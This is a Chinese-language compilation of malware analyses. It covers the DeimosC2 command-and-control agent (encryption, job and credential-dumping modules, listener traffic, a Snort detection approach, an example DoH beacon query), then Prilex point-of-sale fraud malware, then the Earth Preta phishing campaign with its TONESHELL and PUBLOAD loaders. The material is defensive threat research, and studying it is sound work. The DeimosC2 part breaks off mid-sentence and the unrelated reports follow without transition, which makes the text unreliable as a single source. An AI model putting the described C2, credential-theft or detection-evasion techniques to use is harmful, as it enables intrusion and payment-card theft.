在DeimosC2術語中,用於感染受害者的客戶機二進製文件稱為代理。 DeimosC2利用Go語言的多平台特性為不同的體系結構(如Windows、Linux、macOS和Android)編譯代理。

代理很簡單:當執行時,它會立即嘗試聯繫硬編碼CC域或IP地址中的偵聽器,除非設置了執行時間範圍。

DeimosC2代理使用三個不同的秘鑰與偵聽器交換消息。

代理秘鑰這是標識代理的唯一秘鑰。秘鑰最初被設置為'000000000000000000000000000000000000',但是來自偵聽器的第一個響應將它更新為一個新版本,4 UUID。

AES密鑰這個256位AES密鑰是每次代理與CC偵聽器對話時隨機生成的,這用於加密與CC偵聽器交換的消息。

RSA密鑰除了AES加密之外,DeimosC2還使用RSA-2048對代理和前面解釋的AES密鑰進行加密。代理使用硬編碼的公鑰加密其他密鑰,而CC偵聽器使用其私鑰解密數據。

下圖從代理的角度說明了加密過程。

8.png

DeimosC2代理加密方案

發送到CC偵聽器的第一條消息以JSON格式包含有關受感染設備的信息,如下圖所示。

9.png

首次發送到CC偵聽器的JSON數據示例

發送的數據包括有關操作系統、已安裝的防病毒產品、主機名、登錄的用戶名、內部IP地址、文件系統上的代理路徑、可用的shell程序、進程ID (PID)和用戶特權的信息。

命令C2偵聽器響應可以包括一個或多個命令(在DeimosC2術語中稱為“jobs”)。

DeimosC2命令及其描述如下:

Shell:執行shell命令;

下載:將文件下載到CC服務器;

上傳:將文件上傳到受感染的計算機;

選項:抖動和延遲選項設置CC通信的休眠時間。 eol(我們假設它意味著生命結束)選項設置代理退出的日期,而hours選項配置通信的時間範圍;

文件瀏覽器:要求代理列出給定路徑上的所有文件和目錄;

shellInject:在代理進程中註入並運行自定義shell代碼;

模塊:執行一個模塊;

Reinit:重新連接代理,這會使代理獲得一個新的代理密鑰;

pivotTCP:啟動受感染設備中的TCP服務器,以便其他代理可以將其用作偵聽器,用於感染無法訪問互聯網的設備;

pivotJob:處理數據透視作業;

pivotKill:重置透視偵聽器列表;

Kill:卸載代理;

模塊DeimosC2通過可以在受害者的設備中執行的模塊擴展其功能, DeimosC2信息如下:

Screengrab:在受感染的設備上截屏;

Minidump:生成給定進程的用戶模式小型轉儲;

Lsadump:下載SECURITY和SYSTEM註冊表配置單元以竊取憑據;

Ntdsdump:下載Ntds.dit並且SYSTEM文件用於憑證竊取;

Samdump;下載SECURITY、SYSTEM和SAM註冊表配置單元以竊取憑據;

Shadowdump:從Linux設備下載/etc/shadow文件;

DeimosC2的模塊接口允許CC偵聽器推送新模塊並從磁盤或內存(使用代碼注入)執行它們。

網絡分析正如我們前面提到的,在使用DeimosC2時,用戶可以選擇幾種偵聽器類型,包括HTTPS、TCP和DoH。這些可能是最常見的選項,因為它們在其他CC平台上很受歡迎。由於DeimosC2的開源特性,我們能夠詳細研究這些偵聽器是如何工作的。

HTTPS偵聽器當監聽器運行HTTPS時,我們發現有一個默認的網頁被配置。通過查看GitHub頁面,我們確認它是Apache的默認Ubuntu頁面。

11.png

顯示標題的默認Apache Ubuntu頁面的Nmap結果

根據安裝過程中偵聽器的配置,我們知道該工具使用了一些路徑。查看代理源代碼的.go版本,我們可以看到已經設置並正在使用的進程。

12.png

代理使用的路徑的Go變量

變量“firsttime”用於與服務器的初始通信。從那時起,變量“checkin”將被使用。

基於此,我們可以對CC服務器是否為默認配置以及是否啟用了HTTPS檢測進行指紋識別。代理將向/login發送HTTP POST,然後定期向/index發送。 HTTPS偵聽器使用的默認端口為4443。但是,在任何其他端口上創建偵聽器時,都可以輕鬆更改此端口。在/profile上,變量“moduleloc”用於將數據從代理髮送回服務器。最後,使用“piviotloc”變量通過當前受害者傳遞數據,作為前面描述的代理piviotloc功能的一部分。

13.png

HTTPS_agent中的sendMsg函數

下圖顯示了由配置為使用HTTPS偵聽器的代理髮送的加密POST請求。默認情況下,它使用/login發送第一條消息,之後,代理默認情況下向/checkin發送請求。

14.png

由配置為使用HTTPS偵聽器的代理髮送的加密POST請求

TCP偵聽器TCP偵聽器利用Go語言函數創建數據包並將其發送到已創建的套接字。加密流程的工作原理與HTTPS加密相同。在這種情況下,唯一的區別是,整個消息的長度有助於數據的解密。為了實現這一點,它在加密數據的前面加上已加密和要發送的數據的長度。這將發送到套接字,然後發送到CC服務器。

15.png

來自TCP偵聽器Go代碼的sendMsg函數

根據我們對從TCP代理髮送到偵聽器的數據包的分析,這部分具有可預測的行為。由於uint64調用,創建的長度將是64位或8字節長的無符號整數。分組的數據部分的開始將有8個字節,用於隨後的分組長度。我們在與CC服務器的通信中觀察到的大多數信息都是這樣。每個數據包總共350字節,包含296字節的數據。

16.png

與CC服務器通信的TCP代理的數據包的數據部分(突出顯示部分)

由於我們知道數據包的數據部分前面有數據包大小,並且它是一個8字節的無符號整數,因此我們可以得出結論,數據的前8字節是處理數據包時將遵循的大小。

在本例中,有一個296字節的數據字段,如果我們去掉長度字段的8個字節,就會為來自CC服務器的命令留下288個字節。如果我們取288字節並將其轉換為十六進制系統,這很容易計算出來,結果是0x120或01 20,這就是我們在所看到的示例中0的前6個字節後發現的結果。

17.png

DeimosC2 TCP數據包結構

檢測這種行為的一種可能方法是使用snort規則來查找通信流量。下面是一個Snort規則的示例,它將檢測我們的示例數據包:

18.png

基於Snort中僅啟用此規則的測試,我們確認它將檢測來自TCP代理的通信。請注意,此規則可能需要基於特定設置進行調整,以消除誤報並提高傳感器性能。

19.png

來自Snort規則的示例警報的截圖

DoH偵聽器DoH或DNS over HTTPS偵聽器使用DNS查詢與CC服務器通信。使用DoH的優點之一是不需要與CC服務器直接通信。但是,通信會出現延遲。因此,如果需要秘密進行,通常使用DoH。 DeimosC2使用谷歌的HTTPS JSON API進行DNS。這與穀歌也支持的符合RFC 8484的DoH請求不同。這是一種更容易編程的解決方案,攻擊者很容易使用。

20.png

顯示dns.google.com/resolve用法的Go代碼截圖

在偵聽器配置中,有兩個名稱可以更改:第一次變量和簽入變量。在設置偵聽器時,它們的默認名稱分別是getname和checkin。當代理第一次接觸到偵聽器時,它將首先使用firsttime變量,之後將使用checkin變量進行心跳通信。與HTTPS和TCP不同,代理不會直接與偵聽器通信,但它將與前面提到的DNS谷歌服務通信。

21.png

用於與DoH偵聽器的初始通信的變量

在初始設置中,可以觀察到的一個查詢如下所示:

https://dns.google.com/resolve?name=0000000000.6765746e616d65.ftr.trendmicro.com

當你查看這個查詢時,有一些東西非常突出,其中一個是6765746e616d65子域,它是在簽入過程中從代碼生成的。在本例中,該值第一次接受變量,並根據其ASCII值(在我們的例子中為getname)將其內容轉換為十六進制系統。然後將其用作發送到dns.google.com的第一個子域。要對此進行解碼,需要來自代理或CC服務器本身的AES密鑰。

22.png

初始簽入過程的DoH代理代碼

我們討論過的所有這些方法都基於配置中設置為默認值的路徑和變量,在構建監聽器時很容易更改。更改默認設置有利於安全研究人員使用,幫助在網絡日誌中查找流量。然而,當攻擊者更改這些設置時,在未來的活動中發現他們將變得更加困難,因為他們會改變他們的變量來改變他們的TTP,以避免被發現或根據活動修改配置。我們提供這些信息是為了幫助防御者了解在攻擊中遇到非默認行為時DeimosC2的幕後情況。

更改默認偵聽器設置在DeimosC2用戶界面中很容易實現路徑的更改,以/login、/index、/settings和/profile的HTTPS偵聽器的默認路徑為例。要改變這一點,攻擊者只需在構建偵聽器時展開“高級選項”。

23.png

構建HTTPS偵聽器時高級選項的屏幕截圖

改變路徑很可能是攻擊者要做的事情,這將導致我們之前討論的二進製文件和通信模式中的一些內容髮生改變。例如,如果DOH代理中的getname被更改,它將不再轉到6765746e616d65,而是重定向到它被更改為的子域,轉換為十六進制系統(例如“trendmicroftr”,它在DOH查詢中看起來像7472656e646d6963726f667472)。這也是尋找這些工具變得越來越困難的原因之一,因為規避技術是內置在選項中。

每個偵聽器都可以更新特定的信息,這些信息將更改所使用的一些路徑和子域。 TCP偵聽器具有最少的選項,在編寫本文時,它可能是最容易通過網絡監控方法檢測到的偵聽器之一。

針對DeimosC2防禦網絡的建議探測CC流量對於全球的網絡防御者來說都是一個頭疼的話題。幸運的是,在對DeimosC2進行研究期間,我們發現了一些可以用於檢測與服務器通信的代理的存在的技術。

雖然有些網絡活動是動態的,例如對URL路徑的檢查(因為在設置偵聽器時,攻擊者可以更改這些路徑),但其他活動是可預測的。例如,TCP偵聽器通信的前8個字節可以用於在入侵檢測系統(IDS)中使用提供的Snort規則進行檢測。

在DoH示例中,如果防御者在正常業務操作中沒有使用利用DoH的JSON版本的服務,建議阻止或至少記錄HTTPS到dns[.]google。目前大多數利用DoH的DeimosC2示例都使用Google提供的DoH的JSON版本,這將使該代理無法完全工作。

然而,重要的是要記住DeimosC2是一個利用後的CC框架,如果你在你的網絡上看到它的流量,那麼你已經被攻擊了,這只是攻擊者設置持久性。如果你在系統中檢測到DeimosC2,你應該意識到可能還部署了其他你可能不知道的攻擊工具。假設你已經被攻擊了,這也提供了額外的防禦選擇:

防御者應該定期監測出站通信,特別是,它們應該標記任何發送的數據量比正常監控

sl-malicious-pos-terminal-payment-transaction-phone-1200x600.jpg

ATM 惡意軟件組織Prilex自2014 年起就開始活躍,不過在2016 年,該組織決定放棄ATM 業務,將所有註意力集中在PoS 系統。很快,他們採用了惡意軟件即服務模式,並將攻擊範圍擴大至巴西以外的地方,以模塊化的方式創建了一套包括後門、上傳程序和竊取程序的工具。

Prilex PoS惡意軟件從一個簡單的內存抓取器演變為非常先進和復雜的惡意軟件,直接處理PIN pad硬件協議而不是使用更高級別的API,在目標軟件中進行實時修補,掛鉤操作系統庫,擾亂回复、流量和端口,以及從基於重放的攻擊切換到為其GHOST 交易生成密碼,即使是使用CHIP 和PIN 技術保護的信用卡。

在2016 年的狂歡節期間,一家巴西銀行意識到他們的ATM 已被黑客入侵,其中的所有現金都被盜了。根據事後報告,策劃此次攻擊的攻擊者能夠在同一起事件中感染屬於一家銀行的1000多台機器,這使他們得以在巴西複製2.8萬張獨特的信用卡。

攻擊者沒有進入ATM的物理權限,但他們能夠通過一個包含4G路由器和樹莓派的DIY設備訪問銀行的網絡。通過打開後門,他們能夠劫持該機構的無線連接,並隨意攻擊ATM。在獲得初始網絡訪問權限後,攻擊者將運行網絡識別過程以查找每個ATM 的IP 地址。有了這些信息,攻擊者將啟動橫向移動階段,使用默認的Windows 憑據,然後在所需的系統中安裝定制的惡意軟件。後門將允許攻擊者通過啟動惡意軟件界面並輸入攻擊者提供的代碼來清空ATM 套接字,每個被黑客攻擊的ATM的代碼都是自定義的。

1.png

感染了Prilex 的ATM

攻擊中使用的惡意軟件名為Prilex,它是通過使用特權信息和ATM 網絡的高級知識從零開始開發的。該惡意軟件能夠從插入受感染ATM 的信用卡和借記卡上的磁條中捕獲信息。之後,這些有價值的信息可用於克隆銀行卡並從銀行客戶那裡竊取更多資金。

演變成PoS 惡意軟件的過程Prilex 已經從專注於ATM 的惡意軟件演變為針對巴西國內的支付系統的模塊化惡意軟件,即所謂的EFT/TEF 軟件。它們的ATM 和PoS 版本之間有許多相似之處。他們的第一個PoS 惡意軟件於2016 年10 月在野外被發現。前兩個樣本的編譯日期為2010/2011,如下圖所示。但是,研究人員認為由於不正確的系統日期和時間設置而設置了無效的編譯日期。在後來的版本中,時間戳對應於發現樣本的時間。我們還注意到,在2022 年開發的軟件中,開發人員開始使用Subversion 作為版本控制系統。

2.png

Prilex PoS 惡意軟件的版本:2022 年的3 個新版本

如上所示,Prilex 在2020 年非常活躍,但在2021 年突然消失,並在2022 年重新出現並發布了三個新變體。

Prilex的PoS版本是用Visual Basic編寫的,但本文中描述的竊取模塊是用p-code編寫的。簡而言之,這是Visual Basic 程序中的高級指令與CPU 執行的低級本機代碼之間的中間步驟。 Visual Basic在運行時將p-code語句轉換為本機代碼。

Prilex 並不是唯一起源於巴西的PoS 惡意軟件,研究人員發現它與原來的Trojan-Spy.Win32.SPSniffer 存在某種聯繫,兩個家族都能夠攔截PIN pad的信號,但使用的方法不同。

PIN pad配備硬件和安全功能,以確保在有人試圖篡改設備時擦除安全密鑰。事實上,PIN在進入設備時使用各種加密方案和對稱密鑰進行加密。大多數情況下,這是一個三重DES編碼器,使它很難破解PIN。

但是有一個問題:這些設備總是通過USB 或串行端口連接到計算機,這些端口與EFT 軟件進行流量。原來的PIN pad設備使用過時和弱加密方案,使得惡意軟件很容易安裝USB 或串行端口嗅探器來捕獲和解密PIN pad和受感染系統之間的流量。這就是SPSniffer 獲取信用卡數據的方式。有時流量甚至沒有加密。

3.png

SPSniffer:允許捕獲非加密流量的串口嗅探器

Prilex 用於捕獲信用卡數據的主要方法是使用PoS 系統庫中的補丁,允許惡意軟件收集軟件傳輸的數據。惡意軟件將尋找一組特定的可執行文件和庫的位置,以便應用補丁,從而覆蓋原始代碼。安裝補丁後,惡意軟件會從TRACK2 收集數據,例如帳號和到期日期,以及執行欺詐交易所需的其他持卡人信息。

初始感染載體Prilex 不是一種廣泛傳播的惡意軟件,因為它不是通過電子郵件垃圾郵件活動傳播的。它具有高度針對性,通常通過社會工程傳播,例如,目標企業可能會接到自稱是“技術人員”的電話,他堅持認為該公司需要更新其PoS軟件。假冒技術人員可能會親自訪問目標,或要求受害者安裝AnyDesk,並為其提供遠程訪問權限,以安裝惡意軟件。

4.png

PoS 供應商關於Prilex 社會工程攻擊的警告

使用EMV標準的漏洞發起攻擊巴西於1999 年開始使用EMV,如今,該國發行的幾乎所有卡都支持芯片。芯片內部有一個基於java的小應用程序,可以很容易地操作以創建一張“金票(golden ticket)”卡,該卡在大多數銷售點系統中都有效。這使攻擊者能夠升級他們的工具集,使他們能夠以這種新技術為特色創建自己的卡片。

最初版本的Prilex能夠執行重放攻擊,在這種攻擊中,它們沒有破壞EMV協議,而是利用了糟糕的實現。由於支付運營商未能執行EMV 標準要求的某些驗證,攻擊者可以利用該過程中的這一漏洞為自己謀取利益。

在這種攻擊中,欺詐者通過卡片網絡推送常規磁條交易作為EMV購買,因為他們控制著支付終端,並有能力操縱通過該終端進行交易的數據字段。後來他們轉而從真正的基於EMV 的芯片卡交易中獲取流量。攻擊者可以將被盜的卡數據插入交易流程,同時動態修改商家和收購方的銀行賬戶。

至少從2014年起,巴西網絡攻擊者已經成功發起重放攻擊,比如2019 年對一家德國銀行的攻擊,該銀行損失了150 萬歐元,Prilex團伙聲稱對此負責。從名稱字段和工具的功能來看,他們很可能使用了他們在黑市上銷售的軟件。

為了使用克隆的信用卡自動進行攻擊,Prilex 攻擊者使用了Xiello 等工具,這是研究人員在2020 年通過遙測技術發現的。該工具允許網絡攻擊者在進行欺詐性購買時批量使用信用卡。它將購買數據發送給信用卡購買者,然後由他們批准或拒絕交易。

5.png

Prilex 用於自動化交易的Xiello 工具

隨著支付行業和信用卡發行商修復EMV 中的漏洞被修復,重放攻擊變得過時且無效,這促使Prilex 團伙採用其他新的信用卡欺詐方式。

從“Replay”技術到“Ghost”技術的演進最新版本的Prilex在攻擊方式上與之前的版本有所不同:該組織已從重放攻擊轉變為使用受害者卡在店內支付過程中生成的密碼進行欺詐交易,攻擊者將其稱為“GHOST 交易”。

在這些攻擊中,Prilex 樣本作為RAR SFX 可執行文件安裝在系統中,將所有必需的文件提取到惡意軟件目錄並執行安裝腳本(VBS 文件)。從已安裝的文件中,我們可以突出顯示該活動中使用的三個模塊:一個後門,在這個版本中除了用於流量的C2服務器外沒有改變;一個竊取模塊和一個上傳模塊。

6.png

維護持久性的Prilex方法

竊取模塊負責攔截銷售點軟件和用於在交易期間讀取卡的PIN pad之間的所有流量。一旦識別出正在運行的交易,惡意軟件將攔截並修改交易內容,以便能夠捕獲卡信息並向受害者的卡請求新的EMV 密碼。這些密碼隨後用於GHOST 交易。

7.png

用於解析發送/接收的密碼鍵盤消息的方法

為了針對一個特定的進程,攻擊者將對機器進行初步篩選,以檢查它是否是具有足夠信用卡交易的有趣目標,並確定他們將針對的流程。

進程被識別後,惡意軟件將繼續安裝攔截交易信息所需的掛鉤。由於PoS 軟件和讀卡器之間的流量是通過COM 端口進行的,因此惡意軟件會在目標進程內安裝許多Windows API 的掛鉤,旨在根據需要監控和更改數據。有趣的是,Prilex 不是為掛鉤程序分配內存,而是在模塊內存中找到空閒空間,這種技術稱為代碼洞穴,這使得一些安全解決方案很難檢測到受感染系統中的威脅。

8.png

添加到CloseHandle進程中的掛鉤代碼

從交易中捕獲的所有信息都被保存到一個加密文件中,該文件位於惡意軟件配置之前設置的目錄中。這些文件隨後會被發送到惡意軟件C2服務器上,允許網絡攻擊者通過以虛假公司名義註冊的欺詐性PoS 設備進行交易。

9.png

捕獲的信用卡數據稍後將被發送到運營商服務器

以前的版本監控交易是為了獲取原始交易生成的密碼,然後使用收集的密碼執行重放攻擊。在這種情況下,密碼具有相同的ATC(應用程序交易計數器),允許通過重複使用ATC 以及密碼內部的日期與提交日期不匹配的事實來識別欺詐交易,因為欺詐交易是在較晚的時間提交的。

在較新版本的Prilex 執行的GHOST 攻擊中,它會在捕獲交易後請求新的EMV 密碼。然後,這些密碼將通過其中一種網絡犯罪工具用於欺詐交易,其輸出日誌如下所示。

10.png

上表顯示了從惡意軟件收集的數據。它包含由卡生成的授權請求密碼(ARQC),現在應該得到發卡機構的批准。剖析響應(80128000AA5EA486052A8886DE06050A03A4B8009000)後,我們得到以下信息。

11.png

卡上應用了多個應用程序密碼,其中交易金額(藍色)、ATC(綠色)和生成的密碼(紅色)在每次交易中都會發生變化。

12.png

簡而言之,這是整個Prilex 方案:

13.png

Prilex:從感染到套現

後門模塊後門有許多命令,除了內存掃描程序常見的內存掃描之外,較老的(ATM) Prilex版本還提供了一個命令,用於調試進程和查看其內存。這很可能被用於了解目標軟件行為並對惡意軟件或環境進行調整以執行欺詐交易。舊版本的Prilex 對特定軟件庫進行了修補,而較新的示例不再依賴特定軟件,而是使用Windows api來執行它的工作。

14.png

Prilex 調試器

下面是在ATM版本的Prilex中使用的命令列表,其中包括調試:

Reboot,SendKeys,ShowForm,Inject,UnInject,HideForm,Recursos,GetZip,SetStartup,PausaProcesso,LiberaProcesso,Debug,SendSnapShot,GetStartup,CapRegion,CapFerro,KillProcess,Shell,Process,GetModules,GetConfi g,StartSendScreen,StopSendScreen,ReLogin,StartScan,GetKey,SetConfig,RefreshScreen,Download,TakeRegions,EnviarArquivo,ScanProcessStart,ScanProcessStop,StartRegiao,StopRegiao,StartDownload,StopDownload.

即使在PoS 版本中添加了一組新命令,我們仍然可以發現一些來自ATM 攻擊的命令仍在使用中。許多可用的命令都是通用的,這允許攻擊者收集有關受感染機器的信息。

15.png

上傳模塊

該模塊負責檢查配置文件中CABPATH參數指定的目錄,並將所有被盜交易生成的cab文件發送到服務器,這些文件是通過HTTP POST 請求發送的。模塊使用的終端也在上傳器配置文件中提到。

16.png

該模塊的使用表明該組織的操作結構發生了變化,因為在之前的版本中,收集到的信息被發送到服務器,該服務器的地址被硬編碼為竊取代碼,並且該模塊使用與後門相同的協議。該上傳程序允許操作人員根據配置文件中的指示設置所收集信息的終端,從分析的樣本來看,可以看到該過程涉及不同的基礎設施。

17.png

捕獲的數據存儲在上傳器C2 中

惡意軟件即服務早2019年,一家聲稱與Prilex有關聯的網站開始提供據稱是該組織創建的惡意軟件包。研究人員認為這是不可能的,因為該網站可能由試圖冒充該組織的模仿者運營,並利用Prilex 多年來贏得的聲譽來賺錢。

在撰寫本文時,該網站仍在運行中。

18.png

據稱是Prilex PoS 套件的要價是3500 美元

19.png

該網站稱其所有者過去曾與俄羅斯網絡攻擊者合作,不過該說法還無法被驗證。值得一提的是,研究人員在地下渠道發現了通過Telegram 聊天銷售的Prilex 惡意軟件包被引用,價格在10000 歐元到13000 美元之間。研究人員無法確認所提供的是真正的Prilex 惡意軟件。

同時,Prilex 現在使用Subversion 清楚地表明他們正在與多個開發人員合作。

總結Prilex 組織非常擅長對信用卡和借記卡交易發起攻擊,並開髮用於支付處理的軟件。這使攻擊者能夠不斷更新他們的工具,以找到繞過授權策略的方法,從而允許他們執行攻擊。

經過多年的活動,該組織已經迭代了很多攻擊技術。但是,它總是濫用與PoS 軟件相關的流程來攔截和修改與PIN pad的流量。考慮到這一點,研究人員強烈建議PoS 軟件開發人員在其模塊中實施自我保護技術。

Earth Preta組織從3月開始就在全球肆虐,其開發的惡意軟件家族包括TONEINS、TONESHELL和PUBLOAD。 Earth Preta又名Mustang Panda或Bronze President。該組織的攻擊對象包括但不限於緬甸、澳大利亞、菲律賓、日本等國家。

趨勢科技的研究人員最近發現Earth Preta濫用虛假谷歌賬戶,通過魚叉式網絡釣魚電子郵件傳播惡意軟件,這些電子郵件最初存儲在一個存檔文件(如rar/zip/jar)中,並通過Google Drive鏈接傳播。然後誘騙用戶下載並觸發惡意軟件執行TONEINS、TONESHELL和PUBLOAD。 PUBLOAD之前已被報導,我們會在本文將其與TONEINS和TONESHELL聯繫起來,後者是該組織在其活動中新使用的惡意軟件家族。

此外,攻擊者利用不同的技術來逃避檢測和分析,如代碼混淆和自定義異常處理程序。我們還發現,魚叉式網絡釣魚郵件的發件人和Google Drive鏈接的所有者是相同的。根據用於誘騙受害者的樣本文件,我們還認為,攻擊者能夠對目標組織進行研究,並可能事先對其進行破壞,從而使其變得熟悉,這在之前被洩露的賬戶名稱的縮寫中有所顯示。

在這篇文章中,我們討論了Earth Preta的活動及其策略、技術和程序(TTP),包括新的安裝程序和後門。

受害目標分析根據我們對這一威脅的監測,誘餌文件是用緬甸文寫成的,內容是“僅限內部”。文件中的大多數主題都是國家間有爭議的問題,包含“機密”或“機密”等詞 ,這可能表明,攻擊者將緬甸政府作為他們的第一個立足點。這也可能意味著,攻擊者在攻擊之前就已經對特定的政治對象進行了破壞,Talos研究人員此前也注意到了這一點。

攻擊者利用竊取的文件作為誘餌,誘騙與緬甸政府機構有合作關係的目標組織下載並執行惡意文件。受害者涵蓋了世界範圍內廣泛的組織和垂直領域,其中亞太地區的受害者集中度更高。除了在緬甸開展合作的政府辦事處外,隨後的受害者還包括教育和研究行業等。除了以涉及特定組織的正在進行的國際事件為誘餌之外,攻擊者還用與色情材料有關的標題引誘個人用戶下載。

2.png

Earth Preta的目標行業分佈

攻擊進程Earth Preta使用魚叉式網絡釣魚郵件作為攻擊的第一步。如前所述,一些郵件的主題和內容討論地緣政治話題,而其他郵件可能包含聳人聽聞的主題。我們觀察到,我們分析的所有電子郵件中都嵌入了Google Drive鏈接,這表明用戶可能會被誘騙下載惡意文件。文件類型包括壓縮文件,例如.rar、zip和.jar。訪問鏈接後,我們了解到文件包含惡意軟件TONEINS、TONESHELL和PUBLOAD。

4.png

有關會議記錄的電子郵件文檔,可能是從先前的攻擊中竊取的

魚叉式網絡釣魚電子郵件通過分析電子郵件的內容,發現Google Drive鏈接被用來誘騙受害者。電子郵件的主題可能為空,或者可能與惡意文件同名。攻擊者沒有將受害者的地址添加到電子郵件的“收件人”標題中,而是使用了假電子郵件。同時,真實受害者的地址被寫在“CC”標題中,可能會逃避安全分析,延緩調查。使用開源情報(OSINT)工具GHunt來探測“收件人”部分中的那些Gmail地址,我們發現了這些虛假賬戶,其中幾乎沒有信息。

此外,我們觀察到一些發件人可能是來自特定組織的電子郵件帳戶。受害者可能會相信這些郵件是由可信的合作夥伴發送的,這增加了收件人選擇惡意鏈接的機會。

虛假文件我們還發現了一些與緬甸政府對象相關或與之合作的組織有關的虛假文件。其中包含了緬甸和中國大使館之間的粗略會面時間表。另一份文件與日本科學促進協會(JSPS)有關,該協會為研究人員提供在日本進行研究交流的機會。值得注意的是,壓縮文件附件中主要是圖片。用於下一層側加載的惡意DLL和可執行文件也包含在其中。

5.png

有關政府會議(左)及海外研究交流(右)的虛假文件樣本

此外,還有其他內容主題多樣的誘餌文件,包括地區事務和色情內容。但是,當受害者打開這個文件夾中的假文檔文件時,沒有相應的內容出現。

其他攻擊途徑我們觀察到至少三種類型的攻擊途徑,包括通過Google Drive鏈接、Dropbox鏈接或其他託管文件的IP地址分佈在世界各地的30多個誘餌文件。在我們收集的大多數樣本中,都有合法的可執行文件,以及側加載的DLL。誘餌文件的名稱在每個案例中都有所不同。在接下來的部分中,我們將以其中一些為例,介紹每一個的TTP。

DLL側加載在該示例中,有三個文件:“~”, Increasingly confident US is baiting China.exe和libcef.dll。值得注意的是,誘餌文件和可執行文件的名稱可能不同,詳細信息將在下一節中介紹。

6.png

誘餌文件

7.png

PUBLOAD文件中的誘餌文件

可以看出“~”文件是一個誘餌文件。 Increasingly confident US is baiting China.exe是一個合法的可執行文件(最初名為adobe_licensing_wf_helper.exe,即adobe licensing wf helper)。這個可執行文件將側載惡意的libeff .dll並觸發導出函數cef_api_hash。

首次執行時,可執行文件嘗試通過複製.exe文件和移動libcef.dll(趨勢科技將其命名為Trojan.W32.PUBLOAD)。

8.png

惡意活動

快捷鏈接惡意文件包含三個文件:New Word Document.lnk、putty.exe和CefBrowser.dll。特別是,DLL和可執行文件被放置在名為“_”的多層文件夾中。

9.png

攻擊者利用.lnk文件通過使用WinRAR解壓縮文件來安裝惡意文件。完整的命令行如下所示。

10.png

Pputty.exe偽裝成一個正常的可執行文件,其原始文件名為AppXUpdate.exe。當它被執行時,它會加載CefBrowser.dll,並在它的導出函數CCefInterface:SubProcessMain中執行主例程。它還濫用schtask來實現持久性。

10.png

惡意軟件在這次活動中,研究人員識別出使用了以下惡意軟件,即PUBLOAD、TONEINS和TONESHELL。

Trojan.Win32.PUBLOADPUBLOAD是一個可以從其指揮控制(CC)服務器下載下一級有效負載的stager。該惡意軟件於2022年5月由Cisco Talos首次披露。

一旦.dll被執行,它首先通過調用OpenEventA來檢查相同的進程是否已經在運行。根據Barberousse發布的推文,一些值得注意的事件名稱被識別為Twitter上其他網絡安全研究人員的用戶名,如“moto_sato”、“xaacrazyman_armyCIAx”和“JohnHammondTeam”。值得注意的是,這些研究人員與PUBLOAD沒有任何關係,只是被二進製文件中的攻擊者有意提及。

14.png

PUBLOAD中特殊事件名稱的示例

持久性分析PUBLOAD在

1. 添加註冊表運行項

15.png

2. 創建計劃任務

16.png

反分析技術:帶有回調的APIPUBLOAD惡意軟件在內存中的AES算法中解密shellcode。 shellcode是通過創建線程或使用不同的API調用的。 API可以接受回調函數的參數,作為觸發shellcode的替代方法。我們觀察到一些利用API的情況,包括GrayStringW、EnumDateFormatsA和LineDDA,可以將其視為繞過反病毒監視和檢測的技術。

17.png

PUBLOAD中的shellcode回調示例

18.png

接受回調函數的API

CC協議解密的PUBLOAD shell代碼收集計算機名和用戶名作為第一個信標的有效負載。有效負載將使用預定義的RC4 (Rivest Cipher 4)密鑰進行加密。在撰寫本文時,到目前為止我們看到的所有階段都共享相同的密鑰。

加密後,stager使用特定的字節序列作為其數據包的標頭。它在加密數據之前加上神奇的字節“17 03 03”和有效負載大小。

19.png

PUBLOAD惡意軟件中使用的RC4密鑰(頂部)和數據包主體(底部)

20.png

PUBLOAD中的請求數據包格式

stager還檢查響應包是否具有相同的魔術標頭“17 03 03”。在內存中下載的有效負載將被視為一段shellcode,並將直接執行。

值得注意的調試字符串在2022年初,我們發現了一些嵌入調試字符串的PUBLOAD示例。它們被用來分散分析人員對主要感染程序的注意力。

21.png

PUBLOAD中分散注意力的調試字符串

Trojan.Win32.TONEINSTrojan.Win32.TONEINS是TONESHELL後門的安裝程序。安裝程序將TONESHELL惡意軟件放入%PUBLIC%文件夾,並為其建立持久性。 TONEINS惡意軟件通常出現在誘餌文件中,在大多數情況下,TONEINS DLL的名稱是libcef.DLL。惡意例程通過調用其導出函數cef_api_hash來觸發。

TONEINS惡意軟件被混淆,可能會減慢惡意軟件分析的速度。它的控制流中包含大量垃圾代碼,並且有大量無用的XOR指令,似乎暗示這些指令用於解碼字符串。經過檢查,我們發現這些混淆的代碼是從開源存儲庫中重用的。

23.png

TONEINS中的代碼混淆

安裝程序通過使用以下schtasks命令建立TONESHELL後門的持久性:

24.png

被釋放的TONESHELL惡意軟件的文件名大小寫不同,計劃任務的名稱也不同。建立持久性後,TONESHELL將合法的可執行文件和惡意的DLL複製到%PUBLIC%文件夾,其中兩個文件的名稱在誘餌存檔中都以“~”開頭。在本示例中,~$220220817.docx是用於DLL側加載的合法可執行文件,而~$20220617(1).docx是要安裝的TONESHELL後門DLL。

25.png

帶有虛假文件擴展名的文件

Backdoor.Win32.TONESHELLTONESHELL惡意軟件是本次活動中使用的主要後門。它是一個shellcode加載器,在內存中使用一個32字節的密鑰加載和解碼後門shellcode。在早期版本的TONESHELL中,它具有來自TONEINS惡意軟件的功能,包括建立持久性和安裝後門。然而,最新版本的TONESHELL是一個獨立的後門,沒有任何安裝程序功能(例如文件~$Talkpoints.docx)。它也以類似於TONEINS惡意軟件的方式被混淆,表明攻擊者繼續更新武器庫以繞過檢測。

反分析:進程名稱檢查為了確保TONESHELL被正確安裝,Backdoor.Win32.TONESHELL首先檢查進程路徑是否與預期路徑匹配。如果是,則自定義異常處理程序可能會觸發惡意代碼。

26.png

TONESHELL中的進程名稱檢查

反分析:c++中的自定義異常處理程序有趣的是,攻擊者使用自定義異常處理程序的實現隱藏了實際的代碼流。將根據進程名稱檢查的結果調用不同的異常處理程序,通過調用_CxxThrowException觸發異常來繼續惡意例程。調用後,C++運行時將從ThrowInfo結構一直到_msRttiDscr結構中的CatchProc成員找到相應的異常處理程序,其中包含真正的惡意代碼。在此示例中,異常處理程序位於偏移量0x10005300處。這種技術不僅隱藏了執行流,而且還停止了分析師調試器的執行。

27.png

C++中異常處理的數據工作流;黃色圓圈中的CatchProc成員是要調用的惡意異常處理程序

28.png

異常處理程序中的主要惡意例程

